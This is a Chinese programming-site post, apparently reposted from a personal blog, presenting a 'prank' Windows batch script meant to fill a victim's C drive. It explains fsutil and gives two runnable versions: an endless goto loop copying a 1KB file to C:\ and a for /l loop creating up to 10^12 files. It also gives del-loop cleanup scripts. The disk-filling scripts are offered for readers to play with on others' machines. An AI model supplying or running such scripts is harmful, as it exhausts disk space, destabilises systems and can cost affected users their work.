当前位置:编程学习 > 网站相关 >>

简单的恶作剧批处理:涨破你的C盘

昨天无聊在批处理论坛下一个批处理集合下来看看........
下一个批处理的工具...下下来研究。...无意发现一个制作超大文件
发现一个fsutil命令 我还是第一次用呢....嘿嘿
里面核心的命令是fsutil
---- 支持的命令 ----
behavior 控制文件系统行为
dirty 管理卷的被损坏的位数
file 文件特定命令
fsinfo 文件系统信息
hardlink 硬链接管理
objectid 对象 ID 管理
quota 配额管理
reparsepoint 重分析点管理
sparse 稀疏文件控制
usn USN 管理
volume 卷管理
fsutil file Createnew a.txt 1024
就是建立一个1.00KB 文本文档名字为a.txt
然后我都想到拉...利用他循环在C盘生成垃圾文件......涨破C盘....我的思想是不是很坏......
哎....不是坏......只是有点而已哈哈..下面批处理!~~
@echo off
echo 涨破你的C盘
set a=0
fsutil file Createnew d:c.txt 1024
:22
set /a a=%a%+1
copy d:c.txt C:\%a%.txt
goto 22
解释:
set a=0 这里表示变量 就是表示a在这里也是0的意思
fsutil file Createnew d:c.txt 1024 在D盘生成C.TXT 的1024字符的文本文档
set /a a=%a%+1 这里表示不用我多说吧 就是a=%a%(这里表示0就是开始的set a=0的变量)+1 他的意思就是一直要后面的%a%+1=a这段命令才得停下
但是也不能缺少下面的goto 22这段 就是一直跳转到:22 这里一直用copy d:c.txt C:\%a%.txt 在C盘建立垃圾文件...大家明白拉吧..
不要干坏事哟...我的终止...只可以搞恶作剧....就是不要破坏人家的数据....纯熟娱乐.....
---------------------------------------------------------------------------------------------------------------------
本人补充:
此批处理是处用了goto跳转来实现循环执行的目的。。以上的批处理如果你不小心运行了,那么C盘
会有好多的大小为1KB的文本文件,清除的话也可以用P处理来执行。把原P处理改为这样:
@echo off
echo 涨破你的C盘
set a=0
:22
set /a a=%a%+1
del /f /q c:\%a%.txt
goto 22
下面我写一个用for来实现的类似的P处理给大家玩一下吧!!!在他原来的基础上改一下,只是用for来实现。
@echo off
echo 涨破你的C盘
for /l %%j in (1,1,1000000000000) do fsutil file createnew c:\%%j.txt 1024
如果你把1000000改的够大的话,你就可以把你的C盘搞涨了。哈哈。。
解决方法为:
for /l %%j in (1,1,1000000000000) do del /f /q %%j.txt
 本人百度空间上以前弄的,转过来 记录一下!!
补充:综合编程 , 其他综合 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,